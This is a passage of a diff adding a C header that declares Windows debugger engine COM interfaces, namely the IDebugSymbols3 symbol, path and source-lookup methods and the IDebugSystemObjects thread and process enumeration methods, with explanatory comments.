+ // and the current register context is used. + STDMETHOD(GetScope)( + THIS_ + __out_opt PULONG64 InstructionOffset, + __out_opt PDEBUG_STACK_FRAME ScopeFrame, + __out_bcount_opt(ScopeContextSize) PVOID ScopeContext, + __in ULONG ScopeContextSize + ) PURE; + // If ScopeFrame or ScopeContext is non-NULL then + // InstructionOffset is ignored. + // If ScopeContext is NULL the current + // register context is used. + // If the scope identified by the given + // information is the same as before + // SetScope returns S_OK. If the scope + // information changes, such as when the + // scope moves between functions or scope + // blocks, SetScope returns S_FALSE. + STDMETHOD(SetScope)( + THIS_ + __in ULONG64 InstructionOffset, + __in_opt PDEBUG_STACK_FRAME ScopeFrame, + __in_bcount_opt(ScopeContextSize) PVOID ScopeContext, + __in ULONG ScopeContextSize + ) PURE; + // ResetScope clears the scope information + // for situations where scoped symbols + // mask global symbols or when resetting + // from explicit information to the current + // information. + STDMETHOD(ResetScope)( + THIS + ) PURE; + // A scope symbol is tied to its particular + // scope and only is meaningful within the scope. + // The returned group can be updated by passing it back + // into the method for lower-cost + // incremental updates when stepping. + STDMETHOD(GetScopeSymbolGroup)( + THIS_ + __in ULONG Flags, + __in_opt PDEBUG_SYMBOL_GROUP Update, + __out PDEBUG_SYMBOL_GROUP* Symbols + ) PURE; + + // Create a new symbol group. + STDMETHOD(CreateSymbolGroup)( + THIS_ + __out PDEBUG_SYMBOL_GROUP* Group + ) PURE; + + // StartSymbolMatch matches symbol names + // against the given pattern using simple + // regular expressions. The search results + // are iterated through using GetNextSymbolMatch. + // When the caller is done examining results + // the match should be freed via EndSymbolMatch. + // If the match pattern contains a module name + // the search is restricted to a single module. + // Pattern matching is only done on symbol names, + // not module names. + // All active symbol match handles are invalidated + // when the set of loaded symbols changes. + STDMETHOD(StartSymbolMatch)( + THIS_ + __in PCSTR Pattern, + __out PULONG64 Handle + ) PURE; + // If Buffer is NULL the match does not + // advance. + STDMETHOD(GetNextSymbolMatch)( + THIS_ + __in ULONG64 Handle, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MatchSize, + __out_opt PULONG64 Offset + ) PURE; + STDMETHOD(EndSymbolMatch)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Reload)( + THIS_ + __in PCSTR Module + ) PURE; + + STDMETHOD(GetSymbolPath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetSymbolPath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendSymbolPath)( + THIS_ + __in PCSTR Addition + ) PURE; + + // Manipulate the path for executable images. + // Some dump files need to load executable images + // in order to resolve dump information. This + // path controls where the engine looks for + // images. + STDMETHOD(GetImagePath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetImagePath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendImagePath)( + THIS_ + __in PCSTR Addition + ) PURE; + + // Path routines for source file location + // methods. + STDMETHOD(GetSourcePath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + // Gets the nth part of the source path. + STDMETHOD(GetSourcePathElement)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ElementSize + ) PURE; + STDMETHOD(SetSourcePath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendSourcePath)( + THIS_ + __in PCSTR Addition + ) PURE; + // Uses the given file path and the source path + // information to try and locate an existing file. + // The given file path is merged with elements + // of the source path and checked for existence. + // If a match is found the element used is returned. + // A starting element can be specified to restrict + // the search to a subset of the path elements; + // this can be useful when checking for multiple + // matches along the source path. + // The returned element can be 1, indicating + // the file was found directly and not on the path. + STDMETHOD(FindSourceFile)( + THIS_ + __in ULONG StartElement, + __in PCSTR File, + __in ULONG Flags, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + // Retrieves all the line offset information + // for a particular source file. Buffer is + // first intialized to DEBUG_INVALID_OFFSET for + // every entry. Then for each piece of line + // symbol information Buffer[Line] set to + // Lines offset. This produces a per-line + // map of the offsets for the lines of the + // given file. Line numbers are decremented + // for the map so Buffer[0] contains the offset + // for line number 1. + // If there is no line information at all for + // the given file the method fails rather + // than returning a map of invalid offsets. + STDMETHOD(GetSourceFileLineOffsets)( + THIS_ + __in PCSTR File, + __out_ecount_opt(BufferLines) PULONG64 Buffer, + __in ULONG BufferLines, + __out_opt PULONG FileLines + ) PURE; + + // IDebugSymbols2. + + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + // Item is specified as in VerQueryValue. + // Module version information is only + // available for loaded modules and may + // not be available in all debug sessions. + STDMETHOD(GetModuleVersionInformation)( + THIS_ + __in ULONG Index, + __in ULONG64 Base, + __in PCSTR Item, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG VerInfoSize + ) PURE; + // Retrieves any available module name string + // such as module name or symbol file name. + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + // If symbols are deferred an error will + // be returned. + // E_NOINTERFACE may be returned, indicating + // no information exists. + STDMETHOD(GetModuleNameString)( + THIS_ + __in ULONG Which, + __in ULONG Index, + __in ULONG64 Base, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Returns the string name of a constant type. + STDMETHOD(GetConstantName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG64 Value, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Gets name of a field in a struct + // FieldNumber is 0 based index of field in a struct + STDMETHOD(GetFieldName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG FieldIndex, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Control options for typed values. + STDMETHOD(GetTypeOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddTypeOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveTypeOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetTypeOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // IDebugSymbols3. + + STDMETHOD(GetNameByOffsetWide)( + THIS_ + __in ULONG64 Offset, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + STDMETHOD(GetOffsetByNameWide)( + THIS_ + __in PCWSTR Symbol, + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetNearNameByOffsetWide)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + + STDMETHOD(GetLineByOffsetWide)( + THIS_ + __in ULONG64 Offset, + __out_opt PULONG Line, + __out_ecount_opt(FileBufferSize) PWSTR FileBuffer, + __in ULONG FileBufferSize, + __out_opt PULONG FileSize, + __out_opt PULONG64 Displacement + ) PURE; + STDMETHOD(GetOffsetByLineWide)( + THIS_ + __in ULONG Line, + __in PCWSTR File, + __out PULONG64 Offset + ) PURE; + + STDMETHOD(GetModuleByModuleNameWide)( + THIS_ + __in PCWSTR Name, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + STDMETHOD(GetSymbolModuleWide)( + THIS_ + __in PCWSTR Symbol, + __out PULONG64 Base + ) PURE; + + STDMETHOD(GetTypeNameWide)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + // Returns the ID for a type name. + STDMETHOD(GetTypeIdWide)( + THIS_ + __in ULONG64 Module, + __in PCWSTR Name, + __out PULONG TypeId + ) PURE; + STDMETHOD(GetFieldOffsetWide)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in PCWSTR Field, + __out PULONG Offset + ) PURE; + + STDMETHOD(GetSymbolTypeIdWide)( + THIS_ + __in PCWSTR Symbol, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + + STDMETHOD(GetScopeSymbolGroup2)( + THIS_ + __in ULONG Flags, + __in_opt PDEBUG_SYMBOL_GROUP2 Update, + __out PDEBUG_SYMBOL_GROUP2* Symbols + ) PURE; + + STDMETHOD(CreateSymbolGroup2)( + THIS_ + __out PDEBUG_SYMBOL_GROUP2* Group + ) PURE; + + STDMETHOD(StartSymbolMatchWide)( + THIS_ + __in PCWSTR Pattern, + __out PULONG64 Handle + ) PURE; + STDMETHOD(GetNextSymbolMatchWide)( + THIS_ + __in ULONG64 Handle, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MatchSize, + __out_opt PULONG64 Offset + ) PURE; + + STDMETHOD(ReloadWide)( + THIS_ + __in PCWSTR Module + ) PURE; + + STDMETHOD(GetSymbolPathWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetSymbolPathWide)( + THIS_ + __in PCWSTR Path + ) PURE; + STDMETHOD(AppendSymbolPathWide)( + THIS_ + __in PCWSTR Addition + ) PURE; + + STDMETHOD(GetImagePathWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetImagePathWide)( + THIS_ + __in PCWSTR Path + ) PURE; + STDMETHOD(AppendImagePathWide)( + THIS_ + __in PCWSTR Addition + ) PURE; + + STDMETHOD(GetSourcePathWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(GetSourcePathElementWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ElementSize + ) PURE; + STDMETHOD(SetSourcePathWide)( + THIS_ + __in PCWSTR Path + ) PURE; + STDMETHOD(AppendSourcePathWide)( + THIS_ + __in PCWSTR Addition + ) PURE; + STDMETHOD(FindSourceFileWide)( + THIS_ + __in ULONG StartElement, + __in PCWSTR File, + __in ULONG Flags, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + STDMETHOD(GetSourceFileLineOffsetsWide)( + THIS_ + __in PCWSTR File, + __out_ecount_opt(BufferLines) PULONG64 Buffer, + __in ULONG BufferLines, + __out_opt PULONG FileLines + ) PURE; + + STDMETHOD(GetModuleVersionInformationWide)( + THIS_ + __in ULONG Index, + __in ULONG64 Base, + __in PCWSTR Item, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG VerInfoSize + ) PURE; + STDMETHOD(GetModuleNameStringWide)( + THIS_ + __in ULONG Which, + __in ULONG Index, + __in ULONG64 Base, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + + STDMETHOD(GetConstantNameWide)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG64 Value, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + + STDMETHOD(GetFieldNameWide)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG FieldIndex, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Returns S_OK if the engine is using managed + // debugging support when retriving information + // for the given module. This can be expensive + // to check. + STDMETHOD(IsManagedModule)( + THIS_ + __in ULONG Index, + __in ULONG64 Base + ) PURE; + + // The module name may not be unique. + // This method returns the first match. + STDMETHOD(GetModuleByModuleName2)( + THIS_ + __in PCSTR Name, + __in ULONG StartIndex, + __in ULONG Flags, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + STDMETHOD(GetModuleByModuleName2Wide)( + THIS_ + __in PCWSTR Name, + __in ULONG StartIndex, + __in ULONG Flags, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // Offset can be any offset within + // the module extent. Extents may + // not be unique when including unloaded + // drivers. This method returns the + // first match. + STDMETHOD(GetModuleByOffset2)( + THIS_ + __in ULONG64 Offset, + __in ULONG StartIndex, + __in ULONG Flags, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + + // A caller can create artificial loaded modules in + // the engine's module list if desired. + // These modules only serve as names for + // a region of addresses. They cannot have + // real symbols loaded for them; if that + // is desired Reload can be used with explicit + // parameters to create a true module entry. + // The region must not be in use by any other + // module. + // A general reload will discard any synthetic modules. + STDMETHOD(AddSyntheticModule)( + THIS_ + __in ULONG64 Base, + __in ULONG Size, + __in PCSTR ImagePath, + __in PCSTR ModuleName, + __in ULONG Flags + ) PURE; + STDMETHOD(AddSyntheticModuleWide)( + THIS_ + __in ULONG64 Base, + __in ULONG Size, + __in PCWSTR ImagePath, + __in PCWSTR ModuleName, + __in ULONG Flags + ) PURE; + STDMETHOD(RemoveSyntheticModule)( + THIS_ + __in ULONG64 Base + ) PURE; + + // Modify the current frame used for scoping. + // This is equivalent to the '.frame' command. + STDMETHOD(GetCurrentScopeFrameIndex)( + THIS_ + __out PULONG Index + ) PURE; + STDMETHOD(SetScopeFrameByIndex)( + THIS_ + __in ULONG Index + ) PURE; + + // Recovers JIT_DEBUG_INFO information at the given + // address from the debuggee and sets current + // debugger scope context from it. + // Equivalent to '.jdinfo' command. + STDMETHOD(SetScopeFromJitDebugInfo)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 InfoOffset + ) PURE; + + // Switches the current debugger scope to + // the stored event information. + // Equivalent to the '.ecxr' command. + STDMETHOD(SetScopeFromStoredEvent)( + THIS + ) PURE; + + // Takes the first symbol hit and outputs it. + // Controlled with DEBUG_OUTSYM_* flags. + STDMETHOD(OutputSymbolByOffset)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in ULONG64 Offset + ) PURE; + + // Function entry information for a particular + // piece of code can be retrieved by this method. + // The actual data returned is system-dependent. + STDMETHOD(GetFunctionEntryByOffset)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BufferNeeded + ) PURE; + + // Given a type which can contain members + // this method returns the type ID and offset of a + // particular member within the type. + // Field gives the dot-separated path + // to the field of interest. + STDMETHOD(GetFieldTypeAndOffset)( + THIS_ + __in ULONG64 Module, + __in ULONG ContainerTypeId, + __in PCSTR Field, + __out_opt PULONG FieldTypeId, + __out_opt PULONG Offset + ) PURE; + STDMETHOD(GetFieldTypeAndOffsetWide)( + THIS_ + __in ULONG64 Module, + __in ULONG ContainerTypeId, + __in PCWSTR Field, + __out_opt PULONG FieldTypeId, + __out_opt PULONG Offset + ) PURE; + + // Artificial symbols can be created in any + // existing module as a way to name an address. + // The address must not already have symbol + // information. + // A reload will discard synthetic symbols + // for all address regions reloaded. + STDMETHOD(AddSyntheticSymbol)( + THIS_ + __in ULONG64 Offset, + __in ULONG Size, + __in PCSTR Name, + __in ULONG Flags, + __out_opt PDEBUG_MODULE_AND_ID Id + ) PURE; + STDMETHOD(AddSyntheticSymbolWide)( + THIS_ + __in ULONG64 Offset, + __in ULONG Size, + __in PCWSTR Name, + __in ULONG Flags, + __out_opt PDEBUG_MODULE_AND_ID Id + ) PURE; + STDMETHOD(RemoveSyntheticSymbol)( + THIS_ + __in PDEBUG_MODULE_AND_ID Id + ) PURE; + + // The following methods can return multiple + // hits for symbol lookups to allow for all + // possible hits to be returned. + STDMETHOD(GetSymbolEntriesByOffset)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids, + __out_ecount_opt(IdsCount) PULONG64 Displacements, + __in ULONG IdsCount, + __out_opt PULONG Entries + ) PURE; + STDMETHOD(GetSymbolEntriesByName)( + THIS_ + __in PCSTR Symbol, + __in ULONG Flags, + __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids, + __in ULONG IdsCount, + __out_opt PULONG Entries + ) PURE; + STDMETHOD(GetSymbolEntriesByNameWide)( + THIS_ + __in PCWSTR Symbol, + __in ULONG Flags, + __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids, + __in ULONG IdsCount, + __out_opt PULONG Entries + ) PURE; + // Symbol lookup by managed metadata token. + STDMETHOD(GetSymbolEntryByToken)( + THIS_ + __in ULONG64 ModuleBase, + __in ULONG Token, + __out PDEBUG_MODULE_AND_ID Id + ) PURE; + + // Retrieves full symbol entry information from an ID. + STDMETHOD(GetSymbolEntryInformation)( + THIS_ + __in PDEBUG_MODULE_AND_ID Id, + __out PDEBUG_SYMBOL_ENTRY Info + ) PURE; + STDMETHOD(GetSymbolEntryString)( + THIS_ + __in PDEBUG_MODULE_AND_ID Id, + __in ULONG Which, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + STDMETHOD(GetSymbolEntryStringWide)( + THIS_ + __in PDEBUG_MODULE_AND_ID Id, + __in ULONG Which, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + // Returns all known memory regions associated + // with the given symbol. Simple symbols will + // have a single region starting from their base. + // More complicated regions, such as functions + // with multiple code areas, can have an arbitrarily + // large number of regions. + // The quality of information returned is highly + // dependent on the symbolic information availble. + STDMETHOD(GetSymbolEntryOffsetRegions)( + THIS_ + __in PDEBUG_MODULE_AND_ID Id, + __in ULONG Flags, + __out_ecount_opt(RegionsCount) PDEBUG_OFFSET_REGION Regions, + __in ULONG RegionsCount, + __out_opt PULONG RegionsAvail + ) PURE; + + // This method allows navigating within the + // symbol entry hierarchy. + STDMETHOD(GetSymbolEntryBySymbolEntry)( + THIS_ + __in PDEBUG_MODULE_AND_ID FromId, + __in ULONG Flags, + __out PDEBUG_MODULE_AND_ID ToId + ) PURE; + + // The following methods can return multiple + // hits for source lookups to allow for all + // possible hits to be returned. + STDMETHOD(GetSourceEntriesByOffset)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries, + __in ULONG EntriesCount, + __out_opt PULONG EntriesAvail + ) PURE; + STDMETHOD(GetSourceEntriesByLine)( + THIS_ + __in ULONG Line, + __in PCSTR File, + __in ULONG Flags, + __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries, + __in ULONG EntriesCount, + __out_opt PULONG EntriesAvail + ) PURE; + STDMETHOD(GetSourceEntriesByLineWide)( + THIS_ + __in ULONG Line, + __in PCWSTR File, + __in ULONG Flags, + __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries, + __in ULONG EntriesCount, + __out_opt PULONG EntriesAvail + ) PURE; + + STDMETHOD(GetSourceEntryString)( + THIS_ + __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry, + __in ULONG Which, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + STDMETHOD(GetSourceEntryStringWide)( + THIS_ + __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry, + __in ULONG Which, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + // Returns all known memory regions associated + // with the given source entry. As with + // GetSymbolEntryOffsetRegions the regions available + // are variable. + STDMETHOD(GetSourceEntryOffsetRegions)( + THIS_ + __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry, + __in ULONG Flags, + __out_ecount_opt(RegionsCount) PDEBUG_OFFSET_REGION Regions, + __in ULONG RegionsCount, + __out_opt PULONG RegionsAvail + ) PURE; + + // This method allows navigating within the + // source entries. + STDMETHOD(GetSourceEntryBySourceEntry)( + THIS_ + __in PDEBUG_SYMBOL_SOURCE_ENTRY FromEntry, + __in ULONG Flags, + __out PDEBUG_SYMBOL_SOURCE_ENTRY ToEntry + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugSystemObjects +// +//---------------------------------------------------------------------------- + +#undef INTERFACE +#define INTERFACE IDebugSystemObjects +DECLARE_INTERFACE_(IDebugSystemObjects, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSystemObjects. + + // In user mode debugging the debugger + // tracks all threads and processes and + // enumerates them through the following + // methods. When enumerating threads + // the threads are enumerated for the current + // process. + // Kernel mode debugging currently is + // limited to enumerating only the threads + // assigned to processors, not all of + // the threads in the system. Process + // enumeration is limited to a single + // virtual process representing kernel space. + + // Returns the ID of the thread on which + // the last event occurred. + STDMETHOD(GetEventThread)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(GetEventProcess)( + THIS_ + __out PULONG Id + ) PURE; + + // Controls implicit thread used by the + // debug engine. The debuggers current + // thread is just a piece of data held + // by the debugger for calls which use + // thread-specific information. In those + // calls the debuggers current thread is used. + // The debuggers current thread is not related + // to any system thread attribute. + // IDs for threads are small integer IDs + // maintained by the engine. They are not + // related to system thread IDs. + STDMETHOD(GetCurrentThreadId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetCurrentThreadId)( + THIS_ + __in ULONG Id + ) PURE; + // The current process is the process + // that owns the current thread. + STDMETHOD(GetCurrentProcessId)( + THIS_ + __out PULONG Id + ) PURE; + // Setting the current process automatically + // sets the current thread to the thread that + // was last current in that process. + STDMETHOD(SetCurrentProcessId)( + THIS_ + __in ULONG Id + ) PURE; + + // Gets the number of threads in the current process. + STDMETHOD(GetNumberThreads)( + THIS_ + __out PULONG Number + ) PURE; + // Gets thread count information for all processes + // and the largest number of threads in a single process. + STDMETHOD(GetTotalNumberThreads)( + THIS_ + __out PULONG Total, + __out PULONG LargestProcess + ) PURE; + STDMETHOD(GetThreadIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Gets the debugger ID for the thread + // currently running on the given + // processor. Only works in kernel + // debugging. + STDMETHOD(GetThreadIdByProcessor)( + THIS_ + __in ULONG Processor, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // system data structure. When kernel debugging + // this is the offset of the KTHREAD. + // When user debugging it is the offset + // of the current TEB. + STDMETHOD(GetCurrentThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given + // system thread data structure. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // TEB. In user mode this is equivalent to + // the threads data offset. + STDMETHOD(GetCurrentThreadTeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given TEB. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByTeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current thread. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentThreadSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger thread ID for the given + // system thread ID. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current thread. + // In kernel mode the value returned is the + // index of the processor the thread is + // executing on plus one. + STDMETHOD(GetCurrentThreadHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger thread ID for the given handle. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + + // Currently kernel mode sessions will only have + // a single process representing kernel space. + STDMETHOD(GetNumberProcesses)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetProcessIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Returns the offset of the current processs + // system data structure. When kernel debugging + // this is the offset of the KPROCESS of + // the process that owns the current thread. + // When user debugging it is the offset + // of the current PEB. + STDMETHOD(GetCurrentProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given + // system process data structure. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current processs + // PEB. In user mode this is equivalent to + // the processs data offset. + STDMETHOD(GetCurrentProcessPeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given PEB. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByPeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current process. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentProcessSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger process ID for the given + // system process ID. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current process. + // In kernel mode this is the kernel processs + // artificial handle used for symbol operations + // and so can only be used with dbghelp APIs. + STDMETHOD(GetCurrentProcessHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger process ID for the given handle. + STDMETHOD(GetProcessIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + // Retrieve the name of the executable loaded + // in the process. This may fail if no executable + // was identified. + STDMETHOD(GetCurrentProcessExecutableName)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExeSize + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugSystemObjects2 +DECLARE_INTERFACE_(IDebugSystemObjects2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSystemObjects. + + // In user mode debugging the debugger + // tracks all threads and processes and + // enumerates them through the following + // methods. When enumerating threads + // the threads are enumerated for the current + // process. + // Kernel mode debugging currently is + // limited to enumerating only the threads + // assigned to processors, not all of + // the threads in the system. Process + // enumeration is limited to a single + // virtual process representing kernel space. + + // Returns the ID of the thread on which + // the last event occurred. + STDMETHOD(GetEventThread)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(GetEventProcess)( + THIS_ + __out PULONG Id + ) PURE; + + // Controls implicit thread used by the + // debug engine. The debuggers current + // thread is just a piece of data held + // by the debugger for calls which use + // thread-specific information. In those + // calls the debuggers current thread is used. + // The debuggers current thread is not related + // to any system thread attribute. + // IDs for threads are small integer IDs + // maintained by the engine. They are not + // related to system thread IDs. + STDMETHOD(GetCurrentThreadId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetCurrentThreadId)( + THIS_ + __in ULONG Id + ) PURE; + // The current process is the process + // that owns the current thread. + STDMETHOD(GetCurrentProcessId)( + THIS_ + __out PULONG Id + ) PURE; + // Setting the current process automatically + // sets the current thread to the thread that + // was last current in that process. + STDMETHOD(SetCurrentProcessId)( + THIS_ + __in ULONG Id + ) PURE; + + // Gets the number of threads in the current process. + STDMETHOD(GetNumberThreads)( + THIS_ + __out PULONG Number + ) PURE; + // Gets thread count information for all processes + // and the largest number of threads in a single process. + STDMETHOD(GetTotalNumberThreads)( + THIS_ + __out PULONG Total, + __out PULONG LargestProcess + ) PURE; + STDMETHOD(GetThreadIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Gets the debugger ID for the thread + // currently running on the given + // processor. Only works in kernel + // debugging. + STDMETHOD(GetThreadIdByProcessor)( + THIS_ + __in ULONG Processor, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // system data structure. When kernel debugging + // this is the offset of the KTHREAD. + // When user debugging it is the offset + // of the current TEB. + STDMETHOD(GetCurrentThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given + // system thread data structure. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByDataOffset)( + 